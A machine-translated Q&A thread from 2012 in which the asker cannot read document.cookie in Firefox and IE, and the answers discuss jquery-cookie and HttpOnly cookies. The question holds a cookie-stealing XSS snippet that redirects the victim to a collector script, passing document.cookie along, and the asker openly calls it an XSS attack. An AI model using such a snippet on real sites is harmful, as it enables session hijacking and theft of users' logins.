2012-05-08 3 views
0

JavaScriptを使用してCookieを読み取る必要があります。私は同じことを行うためにdocument.cookieを使用しています。しかし、この方法はGoogle Chromeのみで動作し、FirefoxとIE 8/9では動作しません。すべてのWebページには、それを行う方法としてdocument.cookieが表示されます。FirefoxとIEでCookieを読み取ることができません

FirefoxとIEでJavaScriptを使用してCookieを取得するにはどうすればよいですか?

おかげ

UPDATE 私はローカルホスト上で自分のコードをテストしました。 blogspot.comでコードをオンラインでテストしたところ、クロームでも機能しませんでした。

任意の方法、ここではHTMLのコードは次のとおりです。

<script type="text/javascript"> 
    function sendCookies(){ 
     document.location='http://localhost/xss/getcookies.php?cookie='+escape(document.cookie); 
    } 
</script> 
<a onclick="sendCookies()" href="#"> 
click here </a> to know about XSS attack. 

ブラウザでdocument.cookieをデバッグしながら、それが唯一のChromeで値を示しています。 localhostをオンラインリンクに置き換えると、document.cookieはChrome上でも空になります。

あなたの考えは正しいです。これは、一種のクロスサイトスクリプティング攻撃です。

このコードの助けを借りて私に役立つでしょうか?

UPDATE 2:

はここでXSS攻撃を実行する方法を示したビデオへのリンクです:

How to perform XSS attack

+0

'document.cookie' **は**それを行う方法です。うまくいかない場合は、読んでいるドキュメントや読んでいるクッキーの解釈に何か間違っている可能性があります。あなたは、あなたが持っているチュートリアルへのリンク、おそらく既に読んでいるチュートリアルへのリンクが役立つ、あなたの特定の問題に関する詳細情報を提供する必要があります。 – Quentin

答えて

2

あなたはjqueryのクッキーを使用してみましたが? https://github.com/carhartl/jquery-cookie また、javascriptでhttp専用のCookieを読み取ることはできません。しかし、あなたがクロムでクッキーを読むことができれば、それはhttpだけのクッキーではありません。デバッグコンソールの[リソース]タブでchromeでHTTPカラムにクッキーの目盛りが表示されているかどうかを確認することで、Cookieがhttpのみであるかどうかを確認できます。

+0

私はjquery.cookie.jsを使いました。しかし、 '$ .cookie()'のようにすべてのクッキーを取得しないように見えます。 '$ .cookie( 'key')'のようなキーが与えられたときだけ、私はクッキーを取り出します。どこで 'document.cookie'のようなすべてのクッキーを読まなければならないのでしょうか。 –

+0

@ kush.impetus実際、それは間違っています - すべてのクッキーを取得します。 '$ .cookie( 'name'、 'value'、{expires:20});'このポストを読むには、次のようにします: '$ .cookie( 'cookie_name');' jQuery Cookieの使い方に関する良いチュートリアル:http://www.electrictoolbox.com/jquery-cookies/ – Nathan

+0

ありがとうございました。私はあなたのコードを試しました。そのウェブページのコードは、 '$ .cookie(" key "、" value ")'を使って作成したクッキーだけを取り出しますが、そのドメインのブラウザに既に存在するクッキーは取得しません。私は再びコードをテストするためにChromeを使用しました。 Chromeはドメインが**。blogger.com **である既存の10-12のクッキーについて(Developer ToolsのResourcesタブで)表示しました。また、 '$ .cookie(" key "、" value ")'で作成したCookieを表示しますが、そのドメインは** username.blogspot.in **です。どちらもリストにあります。それはおそらく私がすべてのクッキーを取り出すことができない理由です。あなたのコメント? –

関連する問題